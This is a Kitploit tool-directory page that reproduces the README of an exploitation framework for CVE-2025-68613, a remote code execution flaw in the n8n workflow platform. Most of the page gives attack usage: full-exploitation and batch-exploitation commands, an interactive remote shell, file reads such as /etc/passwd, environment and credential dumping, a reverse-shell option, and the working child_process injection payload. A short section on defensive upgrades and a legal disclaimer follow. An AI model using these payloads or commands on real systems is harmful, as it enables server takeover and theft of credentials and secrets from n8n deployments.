Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate — n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Workflow Automation Remote Code Execution | Kitploit
Tools/GitHubGitHub/hackersatyamrastogi/n8n-exploit-cve-2025-68613-n8n-god-mode-ultimate
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming
Remote Access Tool
Payload Development
GitHubhackersatyamrastogi/n8n-exploit-cve-2025-68613-n8n-god-mode-ultimate

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Workflow Automation Remote Code Execution

View Repository
5328 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

n8n God Mode Ultimate - CVE-2025-68613 Scanner & Exploitation Framework

n8n God Mode Ultimate

Advanced n8n Workflow Automation RCE Scanner & Exploitation Tool

Python Version License CVE CVSS Score


🎯 Overview

n8n God Mode Ultimate is a comprehensive security testing framework designed to detect and validate CVE-2025-68613 in n8n workflow automation platforms. This critical Remote Code Execution (RCE) vulnerability affects n8n versions through expression injection in workflow execution contexts.

CVE-2025-68613 Details
  • CVSS Score: 10.0 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (valid credentials)
  • User Interaction: None
  • Vulnerability Type: Expression Injection → Remote Code Execution

Affected Versions:

  • n8n >= 0.211.0 and < 1.120.4
  • n8n >= 1.121.0 and < 1.121.1

Patched Versions:

  • n8n >= 1.120.4
  • n8n >= 1.121.1
  • n8n >= 1.122.0

✨ Features

🔍 Detection & Scanning

  • Intelligent Version Detection - Extract n8n version from signin page metadata
  • Batch Scanning - Multi-threaded concurrent target scanning with progress tracking
  • Multiple Scan Modes:
    • --detect - Version detection only (fastest, non-intrusive)
    • --safe - Safe vulnerability check without exploitation
    • --poc - RCE proof-of-concept validation
    • --exploit - Full exploitation mode

💣 Exploitation Capabilities

  • 4 Exploitation Techniques:
    1. Schedule Trigger - Auto-executing workflow (most reliable)
    2. Webhook Trigger - HTTP-triggered execution
    3. Code Node - Direct child_process access
    4. Expression Injection - Manual expression execution

🎮 God Mode Features

  • Interactive Shell - Full remote shell with command history
  • File Operations:
    • read <file> - Read remote files
    • write <file> <content> - Write files to target
  • Environment Extraction - Dump all environment variables
  • System Information - OS details, network config, process info
  • Reverse Shell - Optional reverse shell payload generation
  • Command History - Built-in history tracking

📊 Advanced Capabilities

  • Credential Enumeration - Extract stored credentials via API
  • Workflow Dumping - Export all workflows with metadata
  • Configuration Extraction - Full system config dump
  • User Enumeration - List all n8n users
  • Execution Log Analysis - Parse command outputs from workflow executions
  • Automated Cleanup - Optional workflow deletion after execution

🚀 Installation

Prerequisites

root@kitploit:~
# Python 3.8 or higher
python3 --version

# pip package manager
pip3 --version

Install Dependencies

root@kitploit:~
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

# Install required packages
pip3 install -r requirements.txt

Requirements

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6

📖 Usage

Basic Usage

root@kitploit:~
# Display help menu
python3 n8n-godmode-ultimate.py -h

# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect

# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password

# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password

# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password

God Mode Operations

root@kitploit:~
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --cmd "whoami"

# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --read-file "/etc/passwd"

# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"

# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --dump-env

# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --shell

Batch Scanning

root@kitploit:~
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20

# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10

targets.txt format:

root@kitploit:~
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org

Interactive Shell Commands

Once in shell mode (--shell):

root@kitploit:~
n8n> whoami              # Execute command
n8n> read /etc/passwd    # Read file
n8n> env                 # Show environment variables
n8n> info                # System information
n8n> history             # Command history
n8n> exit                # Exit shell

🛠️ Command Line Options

Target Options

root@kitploit:~
-u, --url URL             Target n8n URL
-l, --list FILE           File containing target URLs
-t, --threads NUM         Number of threads for batch scanning (default: 10)

Authentication

root@kitploit:~
-e, --email EMAIL         n8n user email
-p, --password PASS       n8n user password

Scan Modes

root@kitploit:~
--detect                  Version detection only (fastest)
--safe                    Safe check without exploitation
--poc                     RCE proof-of-concept
--exploit                 Full exploitation mode

God Mode

root@kitploit:~
--god                     Enable god mode
--cmd COMMAND             Execute single command
--read-file PATH          Read remote file
--write-file PATH         Write remote file
--content DATA            Content for write operation
--dump-env                Extract all environment variables
--shell                   Interactive shell mode
--revshell HOST:PORT      Reverse shell payload

Exploitation Options

root@kitploit:~
--mode MODE               Exploit mode: schedule|webhook|code|expression (default: schedule)
--timeout SEC             Command timeout in seconds (default: 30)
--cleanup                 Delete workflows after execution
-k, --insecure           Disable SSL verification
-v, --verbose            Verbose output
-q, --quiet              Minimal output

🔬 Technical Details

Exploitation Methodology

1. Schedule Trigger (Recommended)

Creates a workflow with a scheduled trigger that auto-executes every 3 seconds. Most reliable method.

root@kitploit:~
Payload: {{(function(){
  return this.process.mainModule.require('child_process')
    .execSync('whoami').toString()
})()}}

2. Webhook Trigger

Creates an HTTP webhook endpoint that executes commands when triggered.

3. Code Node

Injects code directly into a Code node with child_process access.

4. Expression Injection

Manual execution via n8n's expression evaluation system.

Version Detection

Extracts version from base64-encoded Sentry configuration in signin page:

root@kitploit:~
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />

API Endpoints Used

  • /rest/login - Authentication
  • /rest/workflows - Workflow CRUD operations
  • /rest/credentials - Credential enumeration
  • /rest/executions - Execution log retrieval
  • /rest/users - User enumeration
  • /rest/settings - System configuration

📊 Output Examples

Version Detection

root@kitploit:~
[*] n8n God Mode Ultimate v1.0.0
[*] Target: https://target.example.com
[✓] n8n Version: 1.36.1
[!] Status: VULNERABLE (< 1.120.4)

RCE Proof-of-Concept

root@kitploit:~
[*] Authentication successful
[*] Creating exploitation workflow...
[*] Workflow ID: hd6LxSY765WBThqd
[*] Executing command: whoami
[✓] Command executed successfully!
[+] Output: root

Interactive Shell

root@kitploit:~
n8n> whoami
[+] root

n8n> read /etc/hostname
[+] n8n-production-server

n8n> env
[+] Environment Variables:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...

🛡️ Defensive Measures

Immediate Actions

  1. Upgrade to patched version (>= 1.120.4 or >= 1.121.1)
  2. Disable default credentials ([email protected]:admin)
  3. Implement strong authentication (MFA recommended)
  4. Network segmentation - Restrict n8n instance access
  5. Audit workflows - Review all active workflows
  6. Monitor execution logs - Check for suspicious activity

Long-term Hardening

  • Enable audit logging
  • Implement IP whitelisting
  • Use OAuth/SSO authentication
  • Regular security assessments
  • Keep n8n updated
  • Database encryption at rest
  • Secure credential storage
  • Network traffic monitoring

⚠️ Legal Disclaimer

FOR AUTHORIZED SECURITY TESTING ONLY

This tool is provided for educational purposes and authorized security testing. Users must comply with all applicable laws and regulations.

⚖️ Legal Requirements

YOU MUST:

  • ✅ Obtain written authorization before testing
  • ✅ Use only on systems you own or have permission to test
  • ✅ Comply with responsible disclosure practices
  • ✅ Follow applicable laws and regulations
  • ✅ Use for defensive security purposes

YOU MUST NOT:

  • ❌ Test systems without explicit permission
  • ❌ Use for malicious purposes
  • ❌ Perform denial-of-service attacks
  • ❌ Exfiltrate or modify data without authorization
  • ❌ Deploy on production systems without consent

📜 Liability

The author assumes NO responsibility for misuse of this tool. Unauthorized access to computer systems is illegal under:

  • Computer Fraud and Abuse Act (CFAA) - USA
  • Computer Misuse Act - UK
  • EU Cybercrime Directive
  • Similar legislation worldwide

Use at your own risk. You are responsible for your actions.


🤝 Contributing

Contributions are welcome! Please follow these guidelines:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/improvement)
  3. Commit your changes (git commit -am 'Add new feature')
  4. Push to the branch (git push origin feature/improvement)
  5. Create a Pull Request

Code of Conduct

  • Follow responsible disclosure practices
  • Document security features clearly
  • Include proper error handling
  • Add comments for complex logic
  • Test thoroughly before submitting

📚 References

CVE Information

  • CVE-2025-68613 - NVD
  • n8n Security Advisories

n8n Documentation

  • n8n Official Documentation
  • n8n API Reference
  • n8n Security Best Practices

Security Research

  • Expression Injection Vulnerabilities
  • Workflow Automation Security

👨‍💻 Author

Satyam Rastogi

  • GitHub: @hackersatyamrastogi
  • Website: https://www.satyamrastogi.com
  • Twitter: @hackersatyamrastogi

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

root@kitploit:~
MIT License

Copyright (c) 2025 Satyam Rastogi

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

🌟 Acknowledgments

  • n8n team for building an amazing workflow automation platform
  • Security researchers in the n8n community
  • Open-source security tools that inspired this project

📞 Support

For security issues, please report responsibly:

  • Security Issues: Open a private security advisory
  • Bug Reports: Use GitHub Issues
  • Feature Requests: Open a GitHub Discussion

⭐ Star this repository if you found it useful!

Made with 💻 by security researchers, for security researchers

Download Tool